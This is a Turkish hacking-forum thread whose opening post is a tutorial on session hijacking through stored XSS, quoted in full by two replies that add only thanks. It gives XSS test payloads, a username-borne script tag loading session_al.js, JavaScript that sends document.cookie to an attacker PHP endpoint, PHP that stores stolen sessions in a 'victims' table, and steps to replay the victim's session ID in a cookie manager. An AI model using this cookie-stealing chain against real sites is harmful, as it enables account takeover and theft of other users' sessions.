SESSION Hijacking Nedir ? Örnek Saldırılı Anlatım.

Rewan

Asistan Moderatör
26 Kas 2020
1,829
1,367
Konum

SESSION Hijacking Nedir?


SESSION Hijacking Türkçe tercümesi ile oturum çalma anlamına gelir. SESSION web sitesinin sunucu tarafında tutulan bir takım bilgileri kapsar. Bu bilgiler oturum sonlanınca silinir. Bazen bu SESSION bilgilerini (çok önemli ise) kendimiz elle unset ederiz. Bu kapsamda da hem SESSION taraflı yapılacak bir saldırıyı engellemek hem de verilerin güvenliğini sağlamış oluruz. Siz bir siteye girdiğinizde adınıza bir adet SESSION yani oturum oluşturulur. Bu oturumun bir ID'si bulunur. Bu ID'yi görmek için Browser(Chrome üzerinden örnek vereceğim) üzerinden erişebilirsiniz.

1pVXX1.png


Bu oturum bilgisi ile birlikte cookie manager kullanarak kendi oturumumuz gibi kullanabiliriz.

XSS Açığı ile SESSION Bilgisi​

Site üzerinde yazacağımız küçük bir payload ile sitemizde xss olup olmadığını tespit etmemiz gerekiyor. Bunu siteye kayıt olarak kullanabilirsiniz. Bilgiler istenirken adınızı veya soyadınızı ister <b></b> tagı içine alarak isterseniz bir sorgu ekranında <script>alert("XSS test açığı: ankateam")</script> şeklinde test yaparak XSS açığı olup olmadığı test edebiliriz. Kayıt olduktan sonra isminiz üye listesinde kalın olduysa veya ikinci alert testinde önünüze "XSS test açığı: ankateam" diye bir mesaj geldiyse sunucu tarafında girilen bu veriler JS(JavaScript) olarak işleniyor ve sonuç çıktısı client(istemci) tarafına gönderiliyor. Bu açığı biz, bize kurbanın SESSION bilgisini göndermesi için kullanacağız.

<script>alert(document.cookie)</script>

Bu şekilde bir kod ile cookie listesinde bulunan PHPSESSID bilgisini alıp kendimiz istemci tarafında sunucuya o oturumun sahibiymiş gibi işlem yapacağız. Bu işlemleri ilk olarak teorik olarak anlatalım; Kendimize bir sistem kuralım bu sistemde şöyle bir olay olsun; bir JS dosyası hazırlayalım. Bu dosya ile birlikte kayıt olurken kullanıcı adımızı JS ile dosyayı çağırır hale getirelim;

<script src="http://localhost:777/session_al.js"></script>saldirgan_hesabi_kullanici_adi

yukarıda bulunan kod ile veritabanına kullanıcı adımızı gönderdik. XSS açığı nedeniyle herhangi bir üye; üye listesine ulaşmak istediğine yahut bir SQL sorgusu çalıştığında sunucu kullanıcı adımızı çalıştıracak ve bizim script çağırma işlememiz tamamlanacak. Bu nedenle de o an o sorguyu çalıştıran kullanıcının oturum bilgisini kendi tarafımıza çekmiş olacağız. Bu süreçte session_al.js adlı dosyamızı şu şekilde kodlayarak bir PHP dosyasına POST veya GET edip o PHP dosyası bize oturum bilgisini bir yere kaydederek tutması gerekmektedir. İsterseniz veritabanı kullanın isterseniz de bir metin belgesine kaydedin.

session_al.js kodları;

Kod:
var istek = new XMLHttpRequest; //JS ile php dosyamıza veriyi göndermek için **XMLHttpRequest** nesnesini kullanıyoruz.
 istek.open('GET', 'http://localhost:777/session_kaydet.php?sessionID=' + document.cookie); //istek değişkenimizi set ediyoruz. ve GET methodu ile gönderim sağlıyoruz.
 istek.send(null); //gönderim sağlıyoruz.

session_al.js dosyası bizim hazırlayacağımız PHP dosyasına SESSION yani oturum bilgisini atacak bunu halletik. Şimdi dönelim session_kaydet.php dosyamıza. Bu dosyamızı bir veritabanına bağlayıp orada session bilgisini depolayabilir veya bir text dosyası şeklinde kendi sunucunuza/cihazınıza kaydedebilirsiniz.

Kod:
/*php veritabanı ıvır zıvırı halletik sonrasında malum kodlara geçtiğimizi varsayıyorum*/
/*conn değişkeni bilindik connection nesnesinin değişken adı*/

$sorgu = $conn->prepare("INSERT INTO kurbanlar(kurban_session)
VALUES (?)"); ///gerek yok ama SQL Injection olmaması için parametre kullanıyoruz.
$sorgu->bind_param("s", $kurban_session); ///"s" string tipli bir param olduğunu belirliyor.

$kurban_session = $_GET['sessionID']; //session_al.js ile gönderdiğimiz parametreyi yakalıyoruz.
$sorgu->execute(); //buradan SQL'i çalıştırıyoruz. ekleme işlemini yapıyoruz.


bu şekilde aldığımız SESSION(oturum) bilgisini veritabanında rahatlıkla görmüş olacağız. Gelen bilgiyi yukarıda bahsettiğim gibi cookie manager ile işleme koyalım. Firefox browser üzerinde daha fazla alternatifi olan bir eklenti. Firefox üzerinden testlerimizi gerçekleştirebiliriz. Şimdi şöyle bir senaryo yapalım. Bizim hazırladığımız JS kodları çalıştı veritabanına SESSION bilgisi düştü. Sonrasını anlatıyorum şimdi;

Bilginin gelme durumu politika isteklerine göre yapılandığı için SOP - CORS gibi origin politikalarını aşağıda anlattım. CORS kullanarak XHRisteği gönderip local değilde uzak sunucularda bir anlatım daha olacaktır. Bu anlatım ise SOP - CORS için hazırlayacağım makalede olacaktır.

Öncelikle saldırgan bu bilgiler ile kayıt yapıyor.

P7ngD5.png


Kayıt gerçekleştikten sonra herhangi bir kişi(kurban) kaydını gerçekleştiriyor.

9YgON5.png


Saldırgan profiline bakıyor ve bu görüntüyü görüyor:

vaXq64.png


Kişi(kurban) ise şu şekilde bir ekran ile karşı karşıya kalıyor:

1pVXpN.png


Kaydı gerçekleştirip "üyeler" sayfasına gidiyor ve XSS açıklı sitede bizim JS kodumuz çalışıyor ve SESSION bilgisi elimize ulaşıyor. Kişinin SESSION bilgisi: e560bdeda00415e7171ecba1645b3066. Şimdi bizim olayımız Firefox browserda, yani saldırganın profil ayarlarında; diğer kişinin, yani kurbanın bilgilerine erişmek olacaktır. Bunun için ise SESSION bilgisini kullanıp onun oturumunu bizim oturum gibiymiş göstereceğiz. Bunun için CookieManager uygulamasını kullanıyoruz.

5NLJGl.png


Uygulamada saldırganın SESSION bilgisi mevcut. Biz Edit butonuna tıklayarak bu SESSION yani oturum ID'sini kurbanın SESSION ID'si ile değiştiriyoruz.

Z5M4Ok.png


Bu şekilde oturum bilgimizi değiştirip "Save" butonuna tıklıyoruz ve sayfaya gelip F5 ile sayfayı yeniliyoruz. Sonuç:

dL8RDn.png

kaynak

İşte kurbanın bilgileri hatta oturumu artık bizim bilgisayarda mevcut. Yani gayet başarılı bir saldırı oldu FAKAT unuttuğumuz bir origin politikası mevcut. O da SOP politikası. Açılımı Same Origin Policy. SOP bir güvenlik politikasıdır. web sitesi içerisindeki veriyi yönlendirmeler ile veya farklı türlerler de transferine izin vermeyen bir politikadır ve kullanıcı güvenliğini baz alır diyip özetlemek istiyorum.

Konuyu okuduğunuz için teşekür ederim .
 

Muslukcu

Katılımcı Üye
17 Kas 2021
699
262
Tesisat dükkanı

SESSION Hijacking Nedir?


SESSION Hijacking Türkçe tercümesi ile oturum çalma anlamına gelir. SESSION web sitesinin sunucu tarafında tutulan bir takım bilgileri kapsar. Bu bilgiler oturum sonlanınca silinir. Bazen bu SESSION bilgilerini (çok önemli ise) kendimiz elle unset ederiz. Bu kapsamda da hem SESSION taraflı yapılacak bir saldırıyı engellemek hem de verilerin güvenliğini sağlamış oluruz. Siz bir siteye girdiğinizde adınıza bir adet SESSION yani oturum oluşturulur. Bu oturumun bir ID'si bulunur. Bu ID'yi görmek için Browser(Chrome üzerinden örnek vereceğim) üzerinden erişebilirsiniz.

1pVXX1.png


Bu oturum bilgisi ile birlikte cookie manager kullanarak kendi oturumumuz gibi kullanabiliriz.

XSS Açığı ile SESSION Bilgisi​

Site üzerinde yazacağımız küçük bir payload ile sitemizde xss olup olmadığını tespit etmemiz gerekiyor. Bunu siteye kayıt olarak kullanabilirsiniz. Bilgiler istenirken adınızı veya soyadınızı ister <b></b> tagı içine alarak isterseniz bir sorgu ekranında <script>alert("XSS test açığı: ankateam")</script> şeklinde test yaparak XSS açığı olup olmadığı test edebiliriz. Kayıt olduktan sonra isminiz üye listesinde kalın olduysa veya ikinci alert testinde önünüze "XSS test açığı: ankateam" diye bir mesaj geldiyse sunucu tarafında girilen bu veriler JS(JavaScript) olarak işleniyor ve sonuç çıktısı client(istemci) tarafına gönderiliyor. Bu açığı biz, bize kurbanın SESSION bilgisini göndermesi için kullanacağız.

<script>alert(document.cookie)</script>

Bu şekilde bir kod ile cookie listesinde bulunan PHPSESSID bilgisini alıp kendimiz istemci tarafında sunucuya o oturumun sahibiymiş gibi işlem yapacağız. Bu işlemleri ilk olarak teorik olarak anlatalım; Kendimize bir sistem kuralım bu sistemde şöyle bir olay olsun; bir JS dosyası hazırlayalım. Bu dosya ile birlikte kayıt olurken kullanıcı adımızı JS ile dosyayı çağırır hale getirelim;

<script src="http://localhost:777/session_al.js"></script>saldirgan_hesabi_kullanici_adi

yukarıda bulunan kod ile veritabanına kullanıcı adımızı gönderdik. XSS açığı nedeniyle herhangi bir üye; üye listesine ulaşmak istediğine yahut bir SQL sorgusu çalıştığında sunucu kullanıcı adımızı çalıştıracak ve bizim script çağırma işlememiz tamamlanacak. Bu nedenle de o an o sorguyu çalıştıran kullanıcının oturum bilgisini kendi tarafımıza çekmiş olacağız. Bu süreçte session_al.js adlı dosyamızı şu şekilde kodlayarak bir PHP dosyasına POST veya GET edip o PHP dosyası bize oturum bilgisini bir yere kaydederek tutması gerekmektedir. İsterseniz veritabanı kullanın isterseniz de bir metin belgesine kaydedin.

session_al.js kodları;

Kod:
var istek = new XMLHttpRequest; //JS ile php dosyamıza veriyi göndermek için **XMLHttpRequest** nesnesini kullanıyoruz.
 istek.open('GET', 'http://localhost:777/session_kaydet.php?sessionID=' + document.cookie); //istek değişkenimizi set ediyoruz. ve GET methodu ile gönderim sağlıyoruz.
 istek.send(null); //gönderim sağlıyoruz.

session_al.js dosyası bizim hazırlayacağımız PHP dosyasına SESSION yani oturum bilgisini atacak bunu halletik. Şimdi dönelim session_kaydet.php dosyamıza. Bu dosyamızı bir veritabanına bağlayıp orada session bilgisini depolayabilir veya bir text dosyası şeklinde kendi sunucunuza/cihazınıza kaydedebilirsiniz.

Kod:
/*php veritabanı ıvır zıvırı halletik sonrasında malum kodlara geçtiğimizi varsayıyorum*/
/*conn değişkeni bilindik connection nesnesinin değişken adı*/

$sorgu = $conn->prepare("INSERT INTO kurbanlar(kurban_session)
VALUES (?)"); ///gerek yok ama SQL Injection olmaması için parametre kullanıyoruz.
$sorgu->bind_param("s", $kurban_session); ///"s" string tipli bir param olduğunu belirliyor.

$kurban_session = $_GET['sessionID']; //session_al.js ile gönderdiğimiz parametreyi yakalıyoruz.
$sorgu->execute(); //buradan SQL'i çalıştırıyoruz. ekleme işlemini yapıyoruz.


bu şekilde aldığımız SESSION(oturum) bilgisini veritabanında rahatlıkla görmüş olacağız. Gelen bilgiyi yukarıda bahsettiğim gibi cookie manager ile işleme koyalım. Firefox browser üzerinde daha fazla alternatifi olan bir eklenti. Firefox üzerinden testlerimizi gerçekleştirebiliriz. Şimdi şöyle bir senaryo yapalım. Bizim hazırladığımız JS kodları çalıştı veritabanına SESSION bilgisi düştü. Sonrasını anlatıyorum şimdi;

Bilginin gelme durumu politika isteklerine göre yapılandığı için SOP - CORS gibi origin politikalarını aşağıda anlattım. CORS kullanarak XHRisteği gönderip local değilde uzak sunucularda bir anlatım daha olacaktır. Bu anlatım ise SOP - CORS için hazırlayacağım makalede olacaktır.

Öncelikle saldırgan bu bilgiler ile kayıt yapıyor.

P7ngD5.png


Kayıt gerçekleştikten sonra herhangi bir kişi(kurban) kaydını gerçekleştiriyor.

9YgON5.png


Saldırgan profiline bakıyor ve bu görüntüyü görüyor:

vaXq64.png


Kişi(kurban) ise şu şekilde bir ekran ile karşı karşıya kalıyor:

1pVXpN.png


Kaydı gerçekleştirip "üyeler" sayfasına gidiyor ve XSS açıklı sitede bizim JS kodumuz çalışıyor ve SESSION bilgisi elimize ulaşıyor. Kişinin SESSION bilgisi: e560bdeda00415e7171ecba1645b3066. Şimdi bizim olayımız Firefox browserda, yani saldırganın profil ayarlarında; diğer kişinin, yani kurbanın bilgilerine erişmek olacaktır. Bunun için ise SESSION bilgisini kullanıp onun oturumunu bizim oturum gibiymiş göstereceğiz. Bunun için CookieManager uygulamasını kullanıyoruz.

5NLJGl.png


Uygulamada saldırganın SESSION bilgisi mevcut. Biz Edit butonuna tıklayarak bu SESSION yani oturum ID'sini kurbanın SESSION ID'si ile değiştiriyoruz.

Z5M4Ok.png


Bu şekilde oturum bilgimizi değiştirip "Save" butonuna tıklıyoruz ve sayfaya gelip F5 ile sayfayı yeniliyoruz. Sonuç:

dL8RDn.png

kaynak

İşte kurbanın bilgileri hatta oturumu artık bizim bilgisayarda mevcut. Yani gayet başarılı bir saldırı oldu FAKAT unuttuğumuz bir origin politikası mevcut. O da SOP politikası. Açılımı Same Origin Policy. SOP bir güvenlik politikasıdır. web sitesi içerisindeki veriyi yönlendirmeler ile veya farklı türlerler de transferine izin vermeyen bir politikadır ve kullanıcı güvenliğini baz alır diyip özetlemek istiyorum.

Konuyu okuduğunuz için teşekür ederim .
Elinize sağlik
 

ACE Veen

Uzman üye
4 Şub 2023
1,088
544
Belirsiz

SESSION Hijacking Nedir?


SESSION Hijacking Türkçe tercümesi ile oturum çalma anlamına gelir. SESSION web sitesinin sunucu tarafında tutulan bir takım bilgileri kapsar. Bu bilgiler oturum sonlanınca silinir. Bazen bu SESSION bilgilerini (çok önemli ise) kendimiz elle unset ederiz. Bu kapsamda da hem SESSION taraflı yapılacak bir saldırıyı engellemek hem de verilerin güvenliğini sağlamış oluruz. Siz bir siteye girdiğinizde adınıza bir adet SESSION yani oturum oluşturulur. Bu oturumun bir ID'si bulunur. Bu ID'yi görmek için Browser(Chrome üzerinden örnek vereceğim) üzerinden erişebilirsiniz.

1pVXX1.png


Bu oturum bilgisi ile birlikte cookie manager kullanarak kendi oturumumuz gibi kullanabiliriz.

XSS Açığı ile SESSION Bilgisi​

Site üzerinde yazacağımız küçük bir payload ile sitemizde xss olup olmadığını tespit etmemiz gerekiyor. Bunu siteye kayıt olarak kullanabilirsiniz. Bilgiler istenirken adınızı veya soyadınızı ister <b></b> tagı içine alarak isterseniz bir sorgu ekranında <script>alert("XSS test açığı: ankateam")</script> şeklinde test yaparak XSS açığı olup olmadığı test edebiliriz. Kayıt olduktan sonra isminiz üye listesinde kalın olduysa veya ikinci alert testinde önünüze "XSS test açığı: ankateam" diye bir mesaj geldiyse sunucu tarafında girilen bu veriler JS(JavaScript) olarak işleniyor ve sonuç çıktısı client(istemci) tarafına gönderiliyor. Bu açığı biz, bize kurbanın SESSION bilgisini göndermesi için kullanacağız.

<script>alert(document.cookie)</script>

Bu şekilde bir kod ile cookie listesinde bulunan PHPSESSID bilgisini alıp kendimiz istemci tarafında sunucuya o oturumun sahibiymiş gibi işlem yapacağız. Bu işlemleri ilk olarak teorik olarak anlatalım; Kendimize bir sistem kuralım bu sistemde şöyle bir olay olsun; bir JS dosyası hazırlayalım. Bu dosya ile birlikte kayıt olurken kullanıcı adımızı JS ile dosyayı çağırır hale getirelim;

<script src="http://localhost:777/session_al.js"></script>saldirgan_hesabi_kullanici_adi

yukarıda bulunan kod ile veritabanına kullanıcı adımızı gönderdik. XSS açığı nedeniyle herhangi bir üye; üye listesine ulaşmak istediğine yahut bir SQL sorgusu çalıştığında sunucu kullanıcı adımızı çalıştıracak ve bizim script çağırma işlememiz tamamlanacak. Bu nedenle de o an o sorguyu çalıştıran kullanıcının oturum bilgisini kendi tarafımıza çekmiş olacağız. Bu süreçte session_al.js adlı dosyamızı şu şekilde kodlayarak bir PHP dosyasına POST veya GET edip o PHP dosyası bize oturum bilgisini bir yere kaydederek tutması gerekmektedir. İsterseniz veritabanı kullanın isterseniz de bir metin belgesine kaydedin.

session_al.js kodları;

Kod:
var istek = new XMLHttpRequest; //JS ile php dosyamıza veriyi göndermek için **XMLHttpRequest** nesnesini kullanıyoruz.
 istek.open('GET', 'http://localhost:777/session_kaydet.php?sessionID=' + document.cookie); //istek değişkenimizi set ediyoruz. ve GET methodu ile gönderim sağlıyoruz.
 istek.send(null); //gönderim sağlıyoruz.

session_al.js dosyası bizim hazırlayacağımız PHP dosyasına SESSION yani oturum bilgisini atacak bunu halletik. Şimdi dönelim session_kaydet.php dosyamıza. Bu dosyamızı bir veritabanına bağlayıp orada session bilgisini depolayabilir veya bir text dosyası şeklinde kendi sunucunuza/cihazınıza kaydedebilirsiniz.

Kod:
/*php veritabanı ıvır zıvırı halletik sonrasında malum kodlara geçtiğimizi varsayıyorum*/
/*conn değişkeni bilindik connection nesnesinin değişken adı*/

$sorgu = $conn->prepare("INSERT INTO kurbanlar(kurban_session)
VALUES (?)"); ///gerek yok ama SQL Injection olmaması için parametre kullanıyoruz.
$sorgu->bind_param("s", $kurban_session); ///"s" string tipli bir param olduğunu belirliyor.

$kurban_session = $_GET['sessionID']; //session_al.js ile gönderdiğimiz parametreyi yakalıyoruz.
$sorgu->execute(); //buradan SQL'i çalıştırıyoruz. ekleme işlemini yapıyoruz.


bu şekilde aldığımız SESSION(oturum) bilgisini veritabanında rahatlıkla görmüş olacağız. Gelen bilgiyi yukarıda bahsettiğim gibi cookie manager ile işleme koyalım. Firefox browser üzerinde daha fazla alternatifi olan bir eklenti. Firefox üzerinden testlerimizi gerçekleştirebiliriz. Şimdi şöyle bir senaryo yapalım. Bizim hazırladığımız JS kodları çalıştı veritabanına SESSION bilgisi düştü. Sonrasını anlatıyorum şimdi;

Bilginin gelme durumu politika isteklerine göre yapılandığı için SOP - CORS gibi origin politikalarını aşağıda anlattım. CORS kullanarak XHRisteği gönderip local değilde uzak sunucularda bir anlatım daha olacaktır. Bu anlatım ise SOP - CORS için hazırlayacağım makalede olacaktır.

Öncelikle saldırgan bu bilgiler ile kayıt yapıyor.

P7ngD5.png


Kayıt gerçekleştikten sonra herhangi bir kişi(kurban) kaydını gerçekleştiriyor.

9YgON5.png


Saldırgan profiline bakıyor ve bu görüntüyü görüyor:

vaXq64.png


Kişi(kurban) ise şu şekilde bir ekran ile karşı karşıya kalıyor:

1pVXpN.png


Kaydı gerçekleştirip "üyeler" sayfasına gidiyor ve XSS açıklı sitede bizim JS kodumuz çalışıyor ve SESSION bilgisi elimize ulaşıyor. Kişinin SESSION bilgisi: e560bdeda00415e7171ecba1645b3066. Şimdi bizim olayımız Firefox browserda, yani saldırganın profil ayarlarında; diğer kişinin, yani kurbanın bilgilerine erişmek olacaktır. Bunun için ise SESSION bilgisini kullanıp onun oturumunu bizim oturum gibiymiş göstereceğiz. Bunun için CookieManager uygulamasını kullanıyoruz.

5NLJGl.png


Uygulamada saldırganın SESSION bilgisi mevcut. Biz Edit butonuna tıklayarak bu SESSION yani oturum ID'sini kurbanın SESSION ID'si ile değiştiriyoruz.

Z5M4Ok.png


Bu şekilde oturum bilgimizi değiştirip "Save" butonuna tıklıyoruz ve sayfaya gelip F5 ile sayfayı yeniliyoruz. Sonuç:

dL8RDn.png

kaynak

İşte kurbanın bilgileri hatta oturumu artık bizim bilgisayarda mevcut. Yani gayet başarılı bir saldırı oldu FAKAT unuttuğumuz bir origin politikası mevcut. O da SOP politikası. Açılımı Same Origin Policy. SOP bir güvenlik politikasıdır. web sitesi içerisindeki veriyi yönlendirmeler ile veya farklı türlerler de transferine izin vermeyen bir politikadır ve kullanıcı güvenliğini baz alır diyip özetlemek istiyorum.

Konuyu okuduğunuz için teşekür ederim .
eline sağlık abi
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.